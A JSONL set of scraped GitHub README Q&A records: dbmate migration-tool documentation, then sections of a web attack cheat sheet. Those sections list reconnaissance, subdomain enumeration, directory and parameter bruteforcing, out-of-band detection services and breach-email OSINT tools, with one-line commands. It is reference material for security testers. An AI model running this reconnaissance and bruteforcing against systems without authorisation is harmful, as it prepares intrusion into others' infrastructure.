{"id": "gh_5dd0dc59b062", "question": "How to: Rolling Back Migrations", "question_body": "About amacneil/dbmate", "answer": "By default, dbmate doesn't know how to roll back a migration. In development, it's often useful to be able to revert your database to a previous state. To accomplish this, implement the `migrate:down` section:\n\n```sql\n-- migrate:up\ncreate table users (\n  id integer,\n  name varchar(255),\n  email varchar(255) not null\n);\n\n-- migrate:down\ndrop table users;\n```\n\nRun `dbmate rollback` to roll back the most recent migration:\n\n```sh\n$ dbmate rollback\nRolling back: 20151127184807_create_users_table.sql\nRolled back: 20151127184807_create_users_table.sql in 123µs\nWriting: ./db/schema.sql\n```", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254298"}
{"id": "gh_cfbf3f7720e8", "question": "How to: Migration Options", "question_body": "About amacneil/dbmate", "answer": "dbmate supports options passed to a migration block in the form of `key:value` pairs. List of supported options:\n\n- `transaction`\n\n**transaction**\n\n`transaction` is useful if you do not want to run SQL inside a transaction:\n\n```sql\n-- migrate:up transaction:false\nALTER TYPE colors ADD VALUE 'orange' AFTER 'red';\n```\n\n`transaction` will default to `true` if your database supports it.", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254305"}
{"id": "gh_147ca9dc5238", "question": "How to: Waiting For The Database", "question_body": "About amacneil/dbmate", "answer": "If you use a Docker development environment for your project, you may encounter issues with the database not being immediately ready when running migrations or unit tests. This can be due to the database server having only just started.\n\nIn general, your application should be resilient to not having a working database connection on startup. However, for the purpose of running migrations or unit tests, this is not practical. The `wait` command avoids this situation by allowing you to pause a script or other application until the database is available. Dbmate will attempt a connection to the database server every second, up to a maximum of 60 seconds.\n\nIf the database is available, `wait` will return no output:\n\n```sh\n$ dbmate wait\n```\n\nIf the database is unavailable, `wait` will block until the database becomes available:\n\n```sh\n$ dbmate wait\nWaiting for database....\n```\n\nYou can also use the `--wait` flag with other commands if you sometimes see failures caused by the database not yet being ready:\n\n```sh\n$ dbmate --wait up\nWaiting for database....\nCreating: myapp_development\n```\n\nYou can customize the timeout using `--wait-timeout` (default 60s). If the database is still not available, the command will return an error:\n\n```sh\n$ dbmate --wait-timeout=5s wait\nWaiting for database.....\nError: unable to connect to database: dial tcp 127.0.0.1:5432: connect: connection refused\n```\n\nPlease note that the `wait` command does not verify whether your specified database exists, only that the server is available and ready (so it will return success if the database server is available, but your database has not yet been created).", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254314"}
{"id": "gh_0bc61934a190", "question": "How to: Exporting Schema File", "question_body": "About amacneil/dbmate", "answer": "When you run the `up`, `migrate`, or `rollback` commands, dbmate will automatically create a `./db/schema.sql` file containing a complete representation of your database schema. Dbmate keeps this file up to date for you, so you should not manually edit it.\n\nIt is recommended to check this file into source control, so that you can easily review changes to the schema in commits or pull requests. It's also possible to use this file when you want to quickly load a database schema, without running each migration sequentially (for example in your test harness). However, if you do not wish to save this file, you could add it to your `.gitignore`, or pass the `--no-dump-schema` command line option.\n\nTo dump the `schema.sql` file without performing any other actions, run `dbmate dump`. Unlike other dbmate actions, this command relies on the respective `pg_dump`, `mysqldump`, or `sqlite3` commands being available in your PATH. If these tools are not available, dbmate will silently skip the schema dump step during `up`, `migrate`, or `rollback` actions. You can diagnose the issue by running `dbmate dump` and looking at the output:\n\n```sh\n$ dbmate dump\nexec: \"pg_dump\": executable file not found in $PATH\n```\n\nOn Ubuntu or Debian systems, you can fix this by installing `postgresql-client`, `mysql-client`, or `sqlite3` respectively. Ensure that the package version you install is greater than or equal to the version running on your database server.\n\n> Note: The `schema.sql` file will contain a complete schema for your database, even if some tables or columns were created outside of dbmate migrations.", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254322"}
{"id": "gh_e0cb94717d64", "question": "How to: Use dbmate as a library", "question_body": "About amacneil/dbmate", "answer": "Dbmate is designed to be used as a CLI with any language or framework, but it can also be used as a library in a Go application.\n\nHere is a simple example. Remember to import the driver you need!\n\n```go\npackage main\n\nimport (\n\t\"net/url\"\n\n\t\"github.com/amacneil/dbmate/v2/pkg/dbmate\"\n\t_ \"github.com/amacneil/dbmate/v2/pkg/driver/sqlite\"\n)\n\nfunc main() {\n\tu, _ := url.Parse(\"sqlite:foo.sqlite3\")\n\tdb := dbmate.New(u)\n\n\terr := db.CreateAndMigrate()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n```\n\nSee the [reference documentation](https://pkg.go.dev/github.com/amacneil/dbmate/v2/pkg/dbmate) for more options.", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254330"}
{"id": "gh_c3c118bed4d7", "question": "How to: Embedding migrations", "question_body": "About amacneil/dbmate", "answer": "Migrations can be embedded into your application binary using Go's [embed](https://pkg.go.dev/embed) functionality.\n\nUse `db.FS` to specify the filesystem used for reading migrations:\n\n```go\npackage main\n\nimport (\n\t\"embed\"\n\t\"fmt\"\n\t\"net/url\"\n\n\t\"github.com/amacneil/dbmate/v2/pkg/dbmate\"\n\t_ \"github.com/amacneil/dbmate/v2/pkg/driver/sqlite\"\n)\n\n//go:embed db/migrations/*.sql\nvar fs embed.FS\n\nfunc main() {\n\tu, _ := url.Parse(\"sqlite:foo.sqlite3\")\n\tdb := dbmate.New(u)\n\tdb.FS = fs\n\n\tfmt.Println(\"Migrations:\")\n\tmigrations, err := db.FindMigrations()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfor _, m := range migrations {\n\t\tfmt.Println(m.Version, m.FilePath)\n\t}\n\n\tfmt.Println(\"\\nApplying...\")\n\terr = db.CreateAndMigrate()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n```", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254338"}
{"id": "gh_1f47b06bfd22", "question": "How to: Migration files", "question_body": "About amacneil/dbmate", "answer": "Migration files are very simple, and are stored in `./db/migrations` by default. You can create a new migration file named `[date]_create_users.sql` by running `dbmate new create_users`.\nHere is an example:\n\n```sql\n-- migrate:up\ncreate table users (\n  id integer,\n  name varchar(255),\n);\n\n-- migrate:down\ndrop table if exists users;\n```\n\nBoth up and down migrations are stored in the same file, for ease of editing. Both up and down directives are required, even if you choose not to implement the down migration.\n\nWhen you apply a migration dbmate only stores the version number, not the contents, so you should always rollback a migration before modifying its contents. For this reason, you can safely rename a migration file without affecting its applied status, as long as you keep the version number intact.", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254345"}
{"id": "gh_869bbf611d4b", "question": "How to: Schema file", "question_body": "About amacneil/dbmate", "answer": "The schema file is written to `./db/schema.sql` by default. It is a complete dump of your database schema, including any applied migrations, and any other modifications you have made.\n\nThis file should be checked in to source control, so that you can easily compare the diff of a migration. You can use the schema file to quickly restore your database without needing to run all migrations.", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 6633, "answer_score": 10, "has_code": false, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254352"}
{"id": "gh_403088662c7b", "question": "How to: Schema migrations table", "question_body": "About amacneil/dbmate", "answer": "Dbmate stores a record of each applied migration in table named `schema_migrations`. This table will be created for you automatically if it does not already exist.\n\nThe table is very simple:\n\n```sql\nCREATE TABLE IF NOT EXISTS schema_migrations (\n  version VARCHAR(255) PRIMARY KEY\n)\n```\n\nYou can customize the name of this table using the `--migrations-table` flag or `DBMATE_MIGRATIONS_TABLE` environment variable.", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254358"}
{"id": "gh_157663dddfad", "question": "How to: Alternatives", "question_body": "About amacneil/dbmate", "answer": "Why another database schema migration tool? Dbmate was inspired by many other tools, primarily [Active Record Migrations](http://guides.rubyonrails.org/active_record_migrations.html), with the goals of being trivial to configure, and language & framework independent. Here is a comparison between dbmate and other popular migration tools.\n\n|                                                              | [dbmate](https://github.com/amacneil/dbmate) | [goose](https://github.com/pressly/goose) | [sql-migrate](https://github.com/rubenv/sql-migrate) | [golang-migrate](https://github.com/golang-migrate/migrate) | [activerecord](http://guides.rubyonrails.org/active_record_migrations.html) | [sequelize](http://docs.sequelizejs.com/manual/tutorial/migrations.html) | [flyway](https://flywaydb.org/) | [sqitch](https://sqitch.org/) |\n| ------------------------------------------------------------ | :------------------------------------------: | :---------------------------------------: | :--------------------------------------------------: | :---------------------------------------------------------: | :-------------------------------------------------------------------------: | :----------------------------------------------------------------------: | :-----------------------------: | :---------------------------: |\n| **Features**                                                 |\n| Plain SQL migration files                                    |              :white_check_mark:              |            :white_check_mark:             |                  :white_check_mark:                  |                     :white_check_mark:                      |                                                                             |                                                                          |       :white_check_mark:        |      :white_check_mark:       |\n| Support for creating and dropping databases                  |              :white_check_mark:              |                                           |                                                      |                                                             |                             :white_check_mark:                              |                                                                          |                                 |\n| Support for saving schema dump files                         |              :white_check_mark:              |                                           |                                                      |                                                             |                             :white_check_mark:                              |                                                                          |                                 |\n| Timestamp-versioned migration files                          |              :white_check_mark:              |            :white_check_mark:             |                                                      |                     :white_check_mark:                      |                             :white_check_mark:                              |                            :white_check_mark:                            |                                 |\n| Custom schema migrations table                               |              :white_check_mark:              |                                           |                  :white_check_mark:                  |                                                             |                                                                             |                            :white_check_mark:                            |       :white_check_mark:        |\n| Ability to wait for database to become ready                 |              :white_check_mark:              |                                           |                                                      |                                                             |                                                                             |                                                                          |                                 |\n| Database connection string loaded from environment variables |              :white_check_mark:              |                                           |                                                      |                                                             |                                                                             |                                                                          |       :white_check_mark:        |\n| Automatically load .env file                                 |              :white_check_mark:              |                                           |                                                      |                                                             |                                                                             |", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254398"}
{"id": "gh_415d4d908a97", "question": "How to: Contributing", "question_body": "About amacneil/dbmate", "answer": "Dbmate is written in Go, pull requests are welcome.\n\nTests are run against a real database using docker compose. To build a docker image and run the tests:\n\n```sh\n$ make docker-all\n```\n\nTo start a development shell:\n\n```sh\n$ make docker-sh\n```", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254405"}
{"id": "gh_9fe48a71502c", "question": "How to: Table of Contents", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "- [Discovering](#discovering)\n  - [Targets](#targets)\n  - [IP Enumeration](#ip-enumeration)\n  - [Subdomain Enumeration](#subdomain-enumeration)\n  - [Cache](#cache)\n  - [Web Asset Discovery](#web-asset-discovery)\n  - [Wordlist](#wordlist)\n  - [Directory Bruteforcing](#directory-bruteforcing)\n  - [Parameter Bruteforcing](#parameter-bruteforcing)\n  - [DNS and HTTP detection](#dns-and-http-detection)\n  - [Acquisitions/Names/Addresses/Contacts/Emails/etc.](#acquisitionsnamesaddressescontactsemailsetc)\n  - [Google Dorks](#google-dorks)\n  - [Content Security Policy (CSP)](#content-security-policy-csp)\n  - [Tiny URLs Services](#tiny-urls-services)\n  - [GraphQL](#graphql)\n  - [General](#general)\n- [Enumerating](#enumerating)\n  - [Fingerprint](#fingerprint)\n  - [Buckets](#buckets)\n  - [Cloud Enumeration](#cloud-enumeration)\n  - [Containerization](#containerization)\n  - [Visual Identification](#visual-identification)\n- [Scanning](#scanning)\n  - [Static Application Security Testing](#static-application-security-testing)\n  - [Dependency Confusion](#dependency-confusion)\n  - [Send Emails](#send-emails)\n  - [Search Vulnerabilities](#search-vulnerabilities)\n  - [Web Scanning](#web-scanning)\n  - [HTTP Request Smuggling](#http-request-smuggling)\n  - [Subdomain Takeover](#subdomain-takeover)\n  - [SQLi (SQL Injection)](#sqli-sql-injection)\n  - [XSS (Cross-Site Scripting)](#xss_scanning)\n  - [Repositories Scanning](#repositories-scanning)\n  - [Secret Scanning](#secret-scanning)\n  - [CORS Misconfigurations](#cors-misconfigurations)\n  - [API](#api)\n- [Monitoring](#monitoring)\n  - [CVE](#cve)\n- [Attacking](#attacking)\n  - [Brute Force](#brute-force)\n  - [Exfiltration](#exfiltration)\n  - [Bypass](#bypass_attacking)\n  - [General](#general_attacking)\n- [Manual](#manual)\n  - [Payloads](#payloads)\n  - [Bypass](#bypass)\n  - [Deserialization](#deserialization)\n  - [SSRF (Server-Side Request Forgery)](#ssrf-server-side-request-forgery)\n  - [XXE (XML External Entity)](#xxe-xml-external-entity)\n  - [OAuth](#oauth)\n  - [DNS Rebinding](#dns-rebinding)\n  - [HTTP Header Injection](#http-header-injection)\n  - [SMTP Header Injection](#smtp-header-injection)\n  - [Web Shell](#web-shell)\n  - [Reverse Shell](#reverse-shell)\n  - [SQLi (SQL Injection)](#sqli-sql-injection_manual)\n  - [XSS (Cross-Site Scripting)](#xss_manual)\n  - [XPath Injection](#xpath-injection)\n  - [Path Traversal](#path-traversal)\n  - [LFI (Local File Inclusion)](#lfi-local-file-inclusion)\n  - [SSTI (Server Side Template Injection)](#ssti-server-side-template-injection)\n  - [Information Disclosure](#information-disclosure)\n  - [WebDAV (Web Distributed Authoring and Versioning)](#webdav-web-distributed-authoring-and-versioning)\n  - [Generic Tools](#generic-tools)\n- [AI](#ai)\n- [General](#general_all)", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538792"}
{"id": "gh_2b1d813f47e9", "question": "How to: IP Enumeration", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "http://www.asnlookup.com\n# This tool leverages ASN to look up IP addresses (IPv4 & IPv6) owned by a specific organization for reconnaissance purposes.\n\nhttps://github.com/pielco11/fav-up\n# Lookups for real IP starting from the favicon icon and using Shodan.\n```python3 favUp.py --favicon-file favicon.ico -sc```\n\nhttps://stackoverflow.com/questions/16986879/bash-script-to-list-all-ips-in-prefix\n# List all IP addresses in a given CIDR block\n```nmap -sL -n 10.10.64.0/27 | awk '/Nmap scan report/{print $NF}'```\n\nhttps://kaeferjaeger.gay/?dir=cdn-ranges/\n# Lists of IP ranges used by CDNs (Cloudflare, Akamai, Incapsula, Fastly, etc). Updated every 30 minutes.\n\nhttps://kaeferjaeger.gay/?dir=ip-ranges/\n# Lists of IP ranges from: Google (Cloud & GoogleBot), Bing (Bingbot), Amazon (AWS), Microsoft (Azure), Oracle (Cloud) and DigitalOcean. Updated every 6 hours.\n\nhttps://netlas.io/\n# Internet intelligence apps that provide accurate technical information on IP addresses, domain names, websites, web applications, IoT devices, and other online assets.\n\nhttps://github.com/zidansec/CloudPeler\n# This tools can help you to see the real IP behind CloudFlare protected websites.\n\nhttps://github.com/christophetd/CloudFlair\n# CloudFlair is a tool to find origin servers of websites protected by CloudFlare (or CloudFront) which are publicly exposed and don't appropriately restrict network access to the relevant CDN IP ranges.\n\nhttps://github.com/projectdiscovery/cdncheck\n# cdncheck is a tool for identifying the technology associated with dns / ip network addresses.\n\nhttps://github.com/Warflop/cloudbunny\n# CloudBunny is a tool to capture the origin server that uses a WAF as a proxy or protection.\n\nhttps://github.com/projectdiscovery/mapcidr\n# Utility program to perform multiple operations for a given subnet/CIDR ranges.\n```mapcidr -cidr 173.0.84.0/24 -sbc 10 -silent```\n\nhttps://github.com/musana/CF-Hero\n# CF-Hero is a reconnaissance tool that uses multiple data sources to discover the origin IP addresses of Cloudflare-protected web applications.\n```cat domains.txt | cf-hero```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538815"}
{"id": "gh_f4df813d1c95", "question": "How to: Subdomain Enumeration", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://web.archive.org/web/20211127183642/https://appsecco.com/books/subdomain-enumeration/\n# This book intendes to be a reference for subdomain enumeration techniques.\n\nhttps://celes.in/posts/cloudflare_ns_whois\n# Enumerating all domains from a cloudflare account by nameserver correlation.\n\nhttps://pugrecon.com/\n# Query some subdomains!\n\nhttps://github.com/knownsec/ksubdomain\n# ksubdomain是一款基于无状态子域名爆破工具，支持在Windows/Linux/Mac上使用，它会很快的进行DNS爆破，在Mac和Windows上理论最大发包速度在30w/s,linux上为160w/s的速度。\n```ksubdomain -d example.com```\n\nhttps://github.com/OWASP/Amass\n# The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques.\n```amass enum -passive -dir /tmp/amass_output/ -d example.com -o dir/example.com```\n\nhttps://github.com/projectdiscovery/subfinder\n# subfinder is a subdomain discovery tool that discovers valid subdomains for websites by using passive online sources.\n```subfinder -r 8.8.8.8,8.8.4.4,1.1.1.1,1.0.0.1 -t 10 -v -d example.com -o dir/example.com```\n\nhttps://github.com/infosec-au/altdns\n# Altdns is a DNS recon tool that allows for the discovery of subdomains that conform to patterns. Altdns takes in words that could be present in subdomains under a domain (such as test, dev, staging) as well as takes in a list of subdomains that you know of.\n```altdns -i subdomains.txt -o data_output -w words.txt -r -s results_output.txt```\n\nhttps://github.com/Josue87/gotator\n# Gotator is a tool to generate DNS wordlists through permutations.\n```gotator -sub domains.txt -perm permutations.txt -depth 2 -numbers 5 > output.txt```\n\nhttps://github.com/nsonaniya2010/SubDomainizer\n# SubDomainizer is a tool designed to find hidden subdomains and secrets present is either webpage, Github, and external javascripts present in the given URL.\n```python3 SubDomainizer.py -u example.com -o dir/example.com```\n\nhttps://github.com/projectdiscovery/uncover\n# uncover is a go wrapper using APIs of well known search engines to quickly discover exposed hosts on the internet.\n\nhttps://dns.bufferover.run/dns?q=example.com\n# Powered by DNSGrep (https://github.com/erbbysam/DNSGrep)\n# A utility for quickly searching presorted DNS names. Built around the Rapid7 rdns & fdns dataset.\n\nhttps://crt.sh/?q=example.com\n# Certificate Search\n\nhttps://censys.io/certificates?q=parsed.subject_dn%3AO%3DExample+Organization\n# Censys is the most reputable, exhaustive, and up-to-date source of Internet scan data in the world, so you see everything.\n\nhttps://www.shodan.io/search?query=ssl%3AExample\n# Shodan is the world's first search engine for Internet-connected devices.\n\nhttps://profundis.io/\n# Profundis is a search engine which focuses on indexing hosts, DNS records, certificates, etc rather than web pages. You may use it to discover new assets or get alerts when a new host which matches specific criteria is discovered.\n\nhttps://fullhunt.io/\n# If you don't know all your internet-facing assets, which ones are vulnerable, FullHunt is here for you.\n\nhttps://github.com/xiecat/fofax\n# fofax is a fofa query tool written in go, positioned as a command-line tool and characterized by simplicity and speed.\n```fofax -q 'app=\"APACHE-Solr\"'```\n\nhttps://publicwww.com\n# Find any alphanumeric snippet, signature or keyword in the web pages HTML, JS and CSS code.\n\nhttps://en.fofa.info\n# FOFA is a search engine for global cyberspace mapping belonging to Beijing Huashun Xin'an Technology Co., Ltd.\n# Through continuous active detection of global Internet assets, more than 4 billion assets and more than 350,000 fingerprint rules have been accumulated, identifying most software and hardware network assets. Asset data supports external presentation and application in various ways and can perform hierarchical portraits of assets based on IP.\n\nhttps://getodin.com/\n# ODIN is a powerful internet scanning tool that empowers users with real-time threat detection, comprehensive vulnerability assessment, and smart, fast, and free capabilities, making it a versatile solution for enhancing cybersecurity.\n\nhttps://www.zoomeye.org\n# ZoomEyeis China's first and world-renowned cyberspace search engine driven by 404 Laboratory of Knownsec. Through a large number of global surveying and mapping nodes, according to the global IPv4, IPv6 address and website domain name databases，it can continuously scan and identify multiple service port and protocols 24 hours a day, and finally map the whole or local cyberspace.\n\nhttps://securitytrails.com/list/email/dns-admin.example.com\n# Total Internet Inventory with the most comprehensive data that informs with unrivaled accuracy.\n```curl --request POST --url 'https://api.securitytrails.com/v1/domains/list?apikey={API_Key}&page=1&scroll=true' --data '{\"filter\":{\"apex_domain\":\"example.com\"}}' | jq -Mr '.records[].hostname' >> subd", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538848"}
{"id": "gh_e05754caa15c", "question": "How to: Web Asset Discovery", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/tomnomnom/waybackurls\n# Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for *.domain and output them on stdout.\n```cat subdomains.txt | waybackurls > waybackurls.txt```\n\nhttps://github.com/tomnomnom/hacks\n# Hacky one-off scripts, tests etc.\n```cat waybackurls.txt | go run /root/Tools/hacks/anti-burl/main.go | tee waybackurls_valid.txt```\n\nhttps://github.com/lc/gau\n# getallurls (gau) fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain.\n```cat domains.txt | gau --threads 5```\n\nhttps://github.com/xnl-h4ck3r/waymore\n# The idea behind waymore is to find even more links from the Wayback Machine than other existing tools.\n```waymore -n -mode U -p 5 -i https://example.com```\n\nhttps://github.com/projectdiscovery/urlfinder\n# A high-speed tool for passively gathering URLs, optimized for efficient web asset discovery without active scanning.\n```urlfinder -duc -silent -d example.com```\n\nhttps://github.com/jaeles-project/gospider\n# Fast web spider written in Go.\n```gospider -s \"https://example.com/\" -o output -c 20 -d 10```\n\nhttps://github.com/xnl-h4ck3r/xnLinkFinder\n# This is a tool used to discover endpoints (and potential parameters) for a given target.\n\nhttps://github.com/hakluke/hakrawler\n# Fast golang web crawler for gathering URLs and JavaScript file locations. This is basically a simple implementation of the awesome Gocolly library.\n```echo https://example.com | hakrawler```\n\nhttps://github.com/projectdiscovery/katana\n# A next-generation crawling and spidering framework.\n```katana -u https://example.com```\n\nhttps://geotargetly.com/geo-browse\n# Geo Browse is a tool designed to capture screenshots of your website from different countries.\n\nhttps://commoncrawl.org/\n# We build and maintain an open repository of web crawl data that can be accessed and analyzed by anyone.\n\nhttps://github.com/bitquark/shortscan\n# Shortscan is designed to quickly determine which files with short filenames exist on an IIS webserver. Once a short filename has been identified the tool will try to automatically identify the full filename.\n```shortscan https://example.com/```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538860"}
{"id": "gh_aa41e02a6019", "question": "How to: Directory Bruteforcing", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/ffuf/ffuf\n# A fast web fuzzer written in Go.\n```ffuf -H 'User-Agent: Mozilla' -v -t 30 -w mydirfilelist.txt -b 'NAME1=VALUE1; NAME2=VALUE2' -u 'https://example.com/FUZZ'```\n\nhttps://github.com/jthack/ffufai\n# ffufai is an AI-powered wrapper for the popular web fuzzer ffuf. It automatically suggests file extensions for fuzzing based on the target URL and its headers, using either OpenAI's GPT or Anthropic's Claude AI models.\n```ffufai -u https://example.com/FUZZ -w /path/to/wordlist.txt```\n\nhttps://github.com/iustin24/chameleon\n# Chameleon provides better content discovery by using wappalyzer's set of technology fingerprints alongside custom wordlists tailored to each detected technologies.\n```chameleon --url https://example.com -a```\n\nhttps://github.com/OJ/gobuster\n# Gobuster is a tool used to brute-force.\n```gobuster dir -a 'Mozilla' -e -k -l -t 30 -w mydirfilelist.txt -c 'NAME1=VALUE1; NAME2=VALUE2' -u 'https://example.com/'```\n\nhttps://github.com/tomnomnom/meg\n# meg is a tool for fetching lots of URLs but still being 'nice' to servers.\n```meg -c 50 -H 'User-Agent: Mozilla' -s 200 weblogic.txt example.txt weblogic```\n\nhttps://github.com/deibit/cansina\n# Cansina is a Web Content Discovery Application.\n```python3 cansina.py -u 'https://example.com/' -p mydirfilelist.txt --persist```\n\nhttps://github.com/epi052/feroxbuster\n# A simple, fast, recursive content discovery tool written in Rust.\n```feroxbuster -u 'https://example.com/' -x pdf -x js,html -x php txt json,docx```\n\nhttps://github.com/projectdiscovery/httpx\n# httpx is a fast and multi-purpose HTTP toolkit allow to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads.\n```cat hosts.txt | httpx```\n\nhttps://github.com/assetnote/kiterunner\n# Kiterunner is a tool that is capable of not only performing traditional content discovery at lightning fast speeds, but also bruteforcing routes/endpoints in modern applications.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538871"}
{"id": "gh_f08252e963a5", "question": "How to: Parameter Bruteforcing", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/s0md3v/Arjun\n# Arjun can find query parameters for URL endpoints.\n```arjun -u https://example.com/```\n\nhttps://github.com/Sh1Yo/x8\n# Hidden parameters discovery suite written in Rust.\n```x8 -u \"https://example.com/\" -w\n```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538876"}
{"id": "gh_2953c7c45703", "question": "How to: DNS and HTTP detection", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://ceye.io\n# Monitor service for security testing.\n```curl http://api.ceye.io/v1/records?token={API Key}&type=dns\ncurl http://api.ceye.io/v1/records?token={API Key}&type=http```\n\nhttps://portswigger.net/burp/documentation/collaborator\n# Burp Collaborator is a network service that Burp Suite uses to help discover many kinds of vulnerabilities.\n# Tip https://www.onsecurity.co.uk/blog/gaining-persistent-access-to-burps-collaborator-sessions\n\nhttps://httpbin.org/\n# A simple HTTP Request & Response Service.\n\nhttp://pingb.in\n# Simple DNS and HTTP service for security testing.\n\nhttps://github.com/ctxis/SnitchDNS\n# SnitchDNS is a database driven DNS Server with a Web UI, written in Python and Twisted, that makes DNS administration easier with all configuration changed applied instantly without restarting any system services.\n\nhttp://dnslog.cn\n# Simple DNS server with realitme logs.\n\nhttps://interact.projectdiscovery.io/\n# Interactsh is an Open-Source Solution for Out of band Data Extraction, A tool designed to detect bugs that cause external interactions, For example - Blind SQLi, Blind CMDi, SSRF, etc.\n\nhttps://canarytokens.org/\n# You'll be familiar with web bugs, the transparent images which track when someone opens an email. They work by embedding a unique URL in a page's image tag, and monitoring incoming GET requests.\n# Imagine doing that, but for file reads, database queries, process executions or patterns in log files. Canarytokens does all this and more, letting you implant traps in your production systems rather than setting up separate honeypots.\n\nhttps://webhook.site/\n# With Webhook.site, you instantly get a unique, random URL and e-mail address. Everything that's sent to these addresses are shown instantly. With this, you can test and debug Webhooks and HTTP requests, as well as create your own workflows using the Custom Actions graphical editor or WebhookScript, a simple scripting language, to transform, validate and process HTTP requests in a variety of ways – without setting up and maintaining your own infrastructure.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538887"}
{"id": "gh_5c99bda80829", "question": "How to: Acquisitions/Names/Addresses/Contacts/Emails/etc.", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://hunter.io\n# Hunter lets you find email addresses in seconds and connect with the people that matter for your business.\n\nhttps://intelx.io\n# Intelligence X is an independent European technology company founded in 2018 by Peter Kleissner. The company is based in Prague, Czech Republic. Its mission is to develop and maintain the search engine and data archive.\n\nhttps://www.nerdydata.com\n# Find companies based on their website's tech stack or code.\n\nhttps://github.com/khast3x/h8mail\n# h8mail is an email OSINT and breach hunting tool using different breach and reconnaissance services, or local breaches such as Troy Hunt's \"Collection1\" and the infamous \"Breach Compilation\" torrent.\n```h8mail -t target@example.com```\n\nhttps://dashboard.fullcontact.com\n# Our person-first Identity Resolution Platform provides the crucial intelligence needed to drive Media Amplification, Omnichannel Measurement, and Customer Recognition.\n\nhttps://www.peopledatalabs.com\n# Our data empowers developers to build innovative, trusted data-driven products at scale.\n\nhttps://www.social-searcher.com\n# Free Social Media Search Engine.\n\nhttps://github.com/mxrch/GHunt\n# 